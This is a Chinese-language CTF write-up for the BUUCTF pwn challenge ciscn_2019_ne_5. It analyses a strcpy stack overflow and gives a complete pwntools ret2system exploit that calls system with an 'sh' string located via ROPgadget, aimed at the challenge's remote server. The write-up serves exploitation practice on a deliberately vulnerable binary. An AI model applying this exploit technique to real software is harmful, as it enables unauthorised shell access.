下载附件然后checksec一下如图
32位的程序,nx保护开的,存在栈溢出,拖进ida32中看看
梳理思路:
简单分析并写个注释,这边梳理一下大致流程,先是输入一字符串,然后比对,然后再选择相应的操作流程进行操作,AddLog可以向src数组中输入字符串,GetFlag中有strcpy函数,并存在溢出点,再是Print函数,里面存在system函数,但是shift+f12,并没有看到binsh字符串,这么一梳理,攻击思路差不多也就有了,有system函数,没有binsh,可以read函数读入binsh字符串,也可以找sh
攻击思路:
首先得让第一个if判断通过,即发送adminstrator,接着我们输入1,向src数组中进行赋值(即构造payload),然后输入4,此时已经在前方输入过的src数组在此刻会调用strcpy函数,然后会溢出,大致的payload构造为:填充数据(确保溢出)+system地址+返回地址+sh地址,exp如下
from pwn import *context(os='linux',arch='i386',log_level='debug')
main=0x804888A #main地址也可以自己改,不唯一
p=remote('node5.buuoj.cn',27413)
p.recvuntil('Please input admin password:')
p.sendline('administrator') #通过第一个if判断
p.recvuntil('0.Exit\n:')
p.sendline(str(1)) #此处输入1,向src数组中赋值
sh=0x80482ea #下方会将地址怎么来
system = 0x80484d0 #ida中在system函数那一行,tap,空格即可得到地址
p.recvuntil('info:')
payload = b'a'*(0x48+4)+p32(system)+p32(main)+p32(sh) #构造
p.sendline(payload)
p.recvuntil('Exit\n:')
p.sendline(str(4)) #攻击并溢出
p.interactive()
输入ROPgadget --binary ./ciscn_2019_ne_5 --string 'sh' 即可得到sh的地址,这道题学到的知识点是没有binsh可以找sh,也不白做,还有就是注意main的返回地址就行,其他的没啥。